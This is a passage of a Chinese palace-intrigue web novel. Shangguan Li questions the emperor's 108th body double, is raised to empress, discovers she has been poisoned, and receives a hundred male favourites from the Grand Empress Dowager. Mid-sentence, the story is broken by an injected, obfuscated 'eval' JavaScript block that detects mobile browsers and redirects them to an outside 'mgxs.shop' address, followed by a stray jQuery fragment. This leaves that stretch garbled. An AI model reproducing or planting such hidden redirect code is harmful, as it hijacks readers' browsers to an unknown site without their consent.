“真正的慕容微在何处?”
上官梨并不放过他。
连日来被愚弄的焦躁感和现在不能把事事都控制在掌握之中的无力感折磨着她,让上官梨也失去了些许余裕,她道:“说!”
“我怎么会知道呢?我只是一个小替身呀。”
108世慕容微大吐苦水:“像我们这样的替身,都被圈养在宫中的地下,和猪狗养在一起。上一任死了,我们才会被放出去。”
“虽然有很大的风险,并且也是这样一副丑陋的样子。但是你在皇帝任上的时候,确实可以想做什么就做什么。没人在乎能活几年,除了我之外的大家都挺开心的,也没办法传下什么隐秘,我也不知道啊。”
有人喜欢美女,有人喜欢书法,有人喜欢丹青,有人喜欢乐曲,每个人的政见都各不相同。
真是皇帝轮流做,今天到我家。
这样是怎么维持这王朝的稳定的?
上官梨嗅到了一丝诡异的味道,道:“从什么时候开始的?”
“这我怎么知道?“108世慕容微摊手,道,“但我在十几岁的时候就被抓来养着了。”
十几岁。
现在的108世慕容微,虽然被毁了形体,但看起来也有二十多岁的样子。
“那你是怎么知道真正的慕容微还活着的?”
上官梨敏锐道:“你明明见过他!”
“我……”108世慕容微的小眼睛转了一转,道,“我虽然没见过他,但皇太后是一个爱孩子的母亲。如果慕容微真的死了,她不可能无动于衷。”
“真的吗?”上官梨想想酗酒的皇太后,但又想到慕容华谈起自己的母亲,十分崇敬怀念,信了大半。
“我不会对你有任何威胁。也不问你是为什么要刺杀皇帝。“108世慕容微趁热打铁,“我只要活着,我只想活着,我已经十几年没见过光了,真的别无所求。”
“无论你要什么,我都给你,毕竟现在我是权力最大的那个人!”
这桩事处处透着诡异,上官梨反复确认:“你可以做任何决定?明明你只是一个替身。”
“是的是的。”108世慕容微疯狂点头,“106世放言说要全琼华城所有的女子都嫁给他。他的愿望不也差点实现了吗?”
一世慕容微怕不是一个真正的疯子。
上官梨很快就做出了决定,道:“这样,你涨一涨我的位分。”
“好的大人,只要您饶了我的小命,这些不过洒洒水的事。”108世慕容微很好说话,“我虽然没有阳痿,但我只想明哲保身。”
“然后把你们宫中最好的厨子赐给我。”上官梨补充道。
“这个恐怕不能,因为她是被皇太后要去了。”108世慕容微委屈道,“连我想喝她做的汤都不行呢。”
“还有一件事,你的真名是什么?我总不能真叫你慕容微108代?”上官梨把金钗歪歪扭扭插回了自己的发间。
“……”108世慕容微的眼睛已经被肥肉挤得看不见了。
肥胖和疤痕是能够模糊人类特征的两样东西,他好像有些忧郁,但这样的忧郁在这张脸上完全看不出来,只会让人觉得可笑:“不重要了,等你真的杀了慕容微,那我就会是唯一的慕容微。”
“所以你不必担心我会泄密。”
.
因为有了上官梨,谢家的门楣又被光耀,再也不用担心自己老了之后老无所依。
谢氏家主再也不用熬夜画春宫图努力了,因为上官梨直接被顶格提拔成了皇后。
除非谢氏犯下欺君罔上的大罪,否则这一代可以安心继续选育最优品种了。
对此,上官梨关心的事情只有一件。
“答应你的事已经做到了,解药呢?”
谢骊被召入宫中,含含糊糊、扭扭捏捏地说道:“其实你根本就没有中毒,我唬你的。”
“什么?!”
“不可能。”上官梨皱眉道,“现在我已经为你们做到这种地步,你还是不愿意相信我吗?”
“只有你自己蠢,才会相信我!”谢骊这种没有心眼子的人是经不住质疑的,嚷嚷道,“我说没有就没有,多亏你为我争取的时间,我马上就要结亲离开琼华,谢家的一切都再也不用我管。我骗你作甚?”
“那我现在胸闷气短,气力不继。”上官梨怀疑道,“不是你,到底是谁给我下的毒?”
上官梨眼下有着淡淡的乌青,原本谢骊以为她是休息不足。
而她现在连手臂上的血管颜色也变得深了起来,显得有些病态,明显是长期中毒的征兆。
谢骊也傻眼了,道:“我,我不知道。”
“你知道我们现在是在一条船上吧?”
现在轮到上官梨来威胁谢骊了。
“太医院,你去太医院啊!”谢骊也犟了起来,道,“你去仔细查查,若是真的是我下的毒,那我的一条命就赔给你好了!”
上官梨要谢骊的命有什么用,皱眉道:“太医院刚给我请过平安脉。那时未查出问题,我还以为是你下的毒比较少见,毕竟你是琼华谢氏。”
这简直难以反驳。
二人对视半晌,谢骊蹦出一句:“你等着,我去给你请人来!太医院不过是一帮废物!”
谢骊信誓旦旦地走了,三日后,拿着一张上面写着10001的号码牌来了。
预期就诊时间,29天后。
上官梨:“......”
“你不是谢厌的亲妹妹吗?”上官梨木然半晌,看向谢骊。
“谢厌有7个亲姐妹、20个堂姐妹、30个表姐妹。”谢骊也很抓狂,“他,他根本不认识我呀!”
上官梨已经认清了谢骊此人的真实面目,一个被宠坏了的废物小点心。
“如果我因为此事而死掉,我一定留下遗旨说要你们陪葬。”上官梨幽幽道,“快去找你娘哭去吧。”
这都是一些什么事?
谢骊走后,上官梨脱力地倒在阴沉木躺椅上,这椅子有种诡异的香味,但是躺起来很舒服,可以随意晃动,并不会发出恼人的吱呀声响。
大秉的皇宫比大阜的皇宫无趣多了。
这里明明人更多更热闹,但是却一点也不熟络,路过的每个人看向她的眼神都是忌惮的,或是怜悯的。
或许皇宫本就该这么无趣,只是上官梨那时是自由的。
“太皇太后驾临──”
?
上官梨反应了两秒钟,才猛地从椅子上弹起来。
皇太后日日在宫中饮酒,不见世事。
皇后之位辗转换过十几次人,她一次也没有在乎过。
怎么这次突然在乎?
最最重要的是,上官梨曾在她宫中酒醉,她认得上官梨的脸。
上官梨刚把帷帽扣到自己头上,太皇太后已经迈了进来,她依然雍容华贵,光芒四射,身上还有未散
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17944051|208286||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
尽的酒香。
小院中脚步声纷杂,她的架势来得很大。
上官梨急忙行礼,祈祷她并没有发现。
她已经换了崭新的衣着,也特意改了自己的一些习惯性动作。
“好久不见呐,梨儿。”
太后啧啧称奇,往口中灌了一口酒,挥手示意侍女退下,在上官梨警惕的目光中,哈哈大笑,道:“你我能有如此奇遇,必然是上天的缘分,来,饮了这杯!”
这人真的还清醒吗?
“你已知我为梨儿。”上官梨便也不推辞,接过她手中小坛,痛饮了一口,麦芽的醇香涌入口腔。
她道:“便知我不是梨儿。怎么不叫人来抓住我,杀了我?”
“我怎么忍心呢?”太皇太后笑道,“在这宫中太寂寞,我连个喝酒的人都没有。我很喜欢你,你来陪我吧。”
“我姓上官。”上官梨平静道。
梨儿是个常见的名字,但上官梨人人都知道是谁。
“果然。若你能杀掉我儿,也是你的本事。”太皇太后自来熟地在那躺椅上躺下,又闷了一口酒,喃喃道,“我恨不得从未生过他。你不会想象到在什么情况下,有一个母亲希望杀掉自己的孩子。”
“像你这样的人也会有烦恼吗?”上官梨把茶杯递过去,皇太后给她倒了一杯。
“生活不易呀。”
皇太后忧郁地叹了口气,美人迟暮总是让人心痛的。
但这份忧郁仅仅迟疑了片刻,这个疯子皇太后又开始笑起来,道:“不想这些伤心事。为了庆祝我的儿子这么喜欢你。我给你带了点礼物,放在你的院中了。好好享受吧,千万不可推辞。”
“来人,取酒来!”
上官梨不知道这人在想什么,反正皇太后若是要杀她,她现在身中剧毒,总归是一合的事。
皇太后不杀她,邀请她饮酒,她便饮酒又有什么不好?
但她酒量还是一样的浅。
不过十几杯,便已经醉到不省人事,伏在桌边,漂亮得像一幅美人图。
太皇太后独自饮酒。
她眼中的痛楚并非假的,但她的行为如此放荡不羁也不是假的。
大约只有她自己知道她心中在想什么。
把上官梨灌醉了,她许久不用的良心隐隐作痛,更是没眼看院中穿得风/骚的慕容熙,捂着眼睛道:“摆驾回宫!”
.
上官梨是在轻柔的抚摸中醒来的。
一双手轻轻按揉着她的头顶的穴位,缓解着她醉酒的不适,身上的味道很好闻。
也说不清是什么味道,有些熟悉,像是沐浴焚香后留下来的。
大秉的侍女何时这么贴心了?
上官梨困惑地睁开眼。
入目的却是男宠那张一看就不是正经人的脸。
......上官梨揉了揉眼睛。
慕容熙贴心道:“大人,你醒啦?”
这种时刻给上官梨的感受,仿佛像时空错位,仿佛像梦还没醒,仿佛像脑子坏了。大脑分析了无数个可能,最后千言万语凝成一句话:
“你怎么在此处?”
“太皇太后赏给大人100个男宠,我是其中之一。”
慕容熙带着十分的自信和自傲说道:
“若是大人不想要我,还有九十九个可以挑选。不过,我有自信可以从这百人中脱颖而出!”
上官梨觉得自己真是活到头了。